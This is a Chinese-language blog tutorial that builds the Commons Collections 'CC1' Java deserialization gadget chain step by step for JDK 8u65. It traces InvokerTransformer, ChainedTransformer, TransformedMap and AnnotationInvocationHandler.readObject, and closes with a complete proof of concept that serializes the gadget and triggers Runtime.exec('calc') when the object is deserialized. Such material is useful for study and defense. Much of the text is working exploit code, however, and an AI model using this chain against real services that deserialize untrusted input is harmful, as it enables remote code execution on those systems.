0%

手写CC1链子

CC1链子是依赖jdk8u65版本以下的一个类的readObject方法进行一系列调回的,在更高的版本就已经修改这个类了,所以我们需要先把环境配置为jdk8u65

img

顺便吧把jdk项目结构也换成jdk8u65

加上依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

最后拉进去

先弹一个计算器

有一个名字叫做Transform的接口

img

看一看实现

img

右键查找实现类,看到有这么多类都实现了这个接口

Invoker一看就是执行命令的,我们进去看看

img

看看它重写的transform方法:(三个参数,一个是方法,一个是传入的参数类型,一个是传入的参数值)

对于输入(Object类型的),先getClass获取对象类,再拿方法,方法传递的参数,然后直接方法调用了

这里我们看一下构造函数

img

第一个是默认参数和iarg是空的,第二个才能传进参数

img

我们需要写三个实参呀

这个时候去打

img

这里看到exec调用的是string类型的参数,但是InvokerTransformer使用的那个参数类型是Class[],所以我们还得new一下

1
2
Class[] 就是“Class 对象的数组”。当你看到方法参数写成 Class[] paramTypes 时,意思是“传入一个类型数组”,数组里的每一项都是一个 Class 对象,用来描述某个方法或构造器的参数类型
Object[] 表示一个“对象引用数组”,数组中的每个元素都可以存放任意引用类型(因为 Object 是所有类的根类)

img

当new这个InvokerTransformer对象时候自动执行构造函数,把这些都写进去

但是还缺少一个能直接调用的方法,也就是Transform方法了

img

这里去用对象来调用这个方法

代码如下,成功调用计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.CC1;

import com.sun.org.apache.xpath.internal.objects.XString;
import javafx.scene.transform.Transform;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC_one {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);

}
}

img

这里其实就是所谓的sink点,接下来我们要做的就是一步步往上看看哪些方法有触发,直到走到一个常见类的readObj方法

寻找下一步调用transform方法的(TransformedMap类)

也就是说看谁调用了上边的transform方法,我们再idea里边点击右上角下载源代码,然后查找用法

img

一大片用的依赖

在cc1链子国内的那个里边用的是map

img

跟进去看看

img

这里可以看到,map类里边是调用了valueTransformer的transform方法,但是我们该如何使得这里边挂的valueTransformer改成我们想要的invokerTransformer?

我们进去这个valueTransformer看看是哪里传的

img

我们在这个map类的构造函数里边看到有传递这个valueTransformer,那么我i们在new这个map类的时候把我们前边的InvokerTransformer扔进去不就好啦

但是又有一个问题,这个构造方法是protected,我们不能在外部直接调,这个关键字只能在包内的类调用来构造对象,那我们还得找看谁调用了这个构造方法,成功找到了这俩,而且还是静态方法,这玩意是能直接调用的

img

调用直接拿类.方法就行了(注意调用的是静态方法)

直接调用的话,传的参数有这些

img

img

new一个hashmap填上去就行了

第三个参数写咱们的invokerTransformer ok

再下一步寻找调用checkSetValue方法的类

img

img

看到这里是parent来调checkSetValue的,那么我们应该控制让这个parent是上边的decorate(transformedmap),跟着可以看到value是runtime

这个类实现了,并且方法还是public,可以看到这里是MapEntry类,也就是java中遍历map来用的, 只要我们遍历一下 map就会触发到MapEntry方法 ,这个时候我们可以搞一个map来遍历,调用这个setvalue方法 首先,decorate就是一个map,所以它才能遍历

img

再下一步寻找谁调用了setvalue

最后我们发现在AnnotationInvocationHandler类中的readObject方法中看到有实现了setvalue方法

img

var5调的

看看var5到底是咋赋值的

img

这里可以看到var5是由var4传递的,这个while是对var4进行传递

在readObj方法里边var4是这样传递的

Iterator var4 = this.memberValues.entrySet().iterator();

拿memberValues来搞,我们看看这个memberValues是个啥

img

这个参数在构造函数里边已经搞过了

那么我们该咋调用ne?这个构造方法没修饰符默认是没法直接调,所以我们反射来搞

var1是注解类(Annotation),var2就写成我们需要的abc,但是我们看看那个value值

img

不好控制啊,看看咋搞

另外找找实现

img

继续写

我们已经找到了readObj能调用这个setValue的类

img

也就是上边那个

img

那么我们把这个for删了

反射调用来写那个

img

因为这个类的构造方法是这个

所以我们应该这么写

img

最后再进行调用

img

实例化

现在确实能控制谁去setValue了,但是setValue的值没法传

img

一大坨得找一下该咋才能控制

包装反射拿到Runtime

Runtime r = Runtime.getRuntime();

map.put(“x”, r);

oos.writeObject(map);

这个玩意看似能执行,实则完全不行, 因为Runtime 没实现 Serializable

但是我们又需要把runtime传入那玩意里边,所以这里runtime也需要反射来拿到

1
2
3
4
5
6
7
8
9
10
11
12
13
反序列化利用不是“我能不能执行代码”,
而是“我能不能让目标 JVM 在反序列化时替我执行代码”。

自己写反射代码时:
你本地 JVM

你在构造 payload

Runtime.exec() 被你自己执行


目标服务器:
😐 什么也没发生。

所以说我们需要通过InvokerTransformer来反射调用runtime,因为我们需要(代码块已经给出原因)

InvokerTransformer的本质

1
2
3
4
5
6
7
8
9
10
11
class InvokerTransformer implements Transformer, Serializable {
String methodName;
Class[] paramTypes;
Object[] args;

Object transform(Object input) {
return input.getClass()
.getMethod(methodName, paramTypes)
.invoke(input, args);
}
}

前面那个是本机跑起来,自娱自乐的东西,所以我们在这里学习反射调用拿到getruntime

借助InvokerTransformer这个类做到反射

所以说这就很巧妙,借助InvokerTransformer这个(可以被序列化)的类做到反射调用Runtime实例拿到执行权限

1
2
3
4
5
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class);//拿到 getRuntime 方法

Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod);// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null

Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
  • Runtime.class → 调 getMethod
  • Method → 调 invoke
  • Runtime → 调 exec

包装覆盖写死的值

Transformer类,

这个类的话看到ConstantTransformer类,它的构造函数时接收一个Object类然后又返回

transform方法是接受输入然后返回

img

img

这个ChainedTransformer类

它的构造方法是接收Transformer[]数组,然后transform方法是接收Object参数,去循环调用,把new时候调用构造函数接收的数组,一个个循环调用transform方法传入的Object参数然后结果变输出去搞

链子的写法这也就是对我们InvokerTransformer的封装

img

InvokerTransformer

ConstantTransformer

ChainedTransformer

这三个联合起来用

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

像这样放到transformer数组里

然后拿chain去一个个调

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

调用顺序

ObjectInputStream.readObject()

AnnotationInvocationHandler.readObject()

Map.Entry.setValue(…)

AbstractInputCheckedMapDecorator.setValue(…)

TransformedMap.checkSetValue(…)

Transformer.transform(…)

ChainedTransformer.transform(…)

InvokerTransformer.transform(…)

Runtime.exec()

调试(方法跟进,参数可看到是啥,模板是我们调试跟进的类,这只是一个模具)

AnnotationInvocationHandler的readObj方法

img

value是这玩意

img

AbstractInputCheckedMapDecorator内部类遍历map执行的checkSetValue

img

可以看到value值一九依旧

TransformedMap的checkSetValue方法

img

进了chain

img

这个时候chain里边那个value还没变呢

img

覆盖

img

img

坑点

我把

Object o = declaredConstructor.newInstance(Retention.class,decorate);

objectObjectHashMap.put(“11”,”22”);

decorate里边的key是11,value是22

var3也就是注解是传入的rention.class

进入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();//依旧是寻找调用chainedTransformer.transform(Runtime.class)的方法
objectObjectHashMap.put("11","22");
Map <Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);//返回实例

// Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod);
// Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

// for (Map.Entry abc:decorate.entrySet()){//当这样调用时候(遍历map)就会实现那个调用内部类的方法
// abc.setValue(runtime);//重写的方法
// }
//如何让decorate来调用checkSetValue,寻找调用checkSetValue的,然后让用这个方法的是decorate
//map遍历时候就能调用

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);//找构造方法,里边带的参数是需要的
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class,decorate);

img

var2是拿到前边传入的rention.class的注解,这个annotation也就是注解的意思。

var3是拿到注解成员方法名

img

  • var4 遍历的就是你传入的 decorate Map(也就是 memberValues
  • var5.getKey() = 你传的 Map 的 key → var6
  • var3 = var2.memberTypes() → 注解类(Retention)的成员方法名 → 返回类型映射
  • var7 = var3.get(var6) → 检查你传的 key 有没有对应注解方法,如果有才继续执行

这里当传入的key(我传的decorate的key是11,value是22)

那么这个时候,var7 = var3.get(var6)执行查询,查询发现这个“11”根本没有对应的注解方法,注解方法只有value啊,所以var7置空

后边也就是了,第二层if的条件是:

if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))

所以说就是 判断 value 是否类型不匹配,不匹配就触发 setValue 还要就是 不是 ExceptionProxy

传入22的时候,肯定就不满足,所以可以执行

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC_one {
public static void main(String[] args) throws Exception {
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(runtime);




Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();//依旧是寻找调用chainedTransformer.transform(Runtime.class)的方法
objectObjectHashMap.put("value","22");
Map <Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);//返回实例

// Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod);
// Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

// for (Map.Entry abc:decorate.entrySet()){//当这样调用时候(遍历map)就会实现那个调用内部类的方法
// abc.setValue(runtime);//重写的方法
// }
//如何让decorate来调用checkSetValue,寻找调用checkSetValue的,然后让用这个方法的是decorate
//map遍历时候就能调用

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);//找构造方法,里边带的参数是需要的
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class,decorate);
serialize(o);
unserialize("G://java/CC1.txt");

}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("G://java/CC1.txt"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

}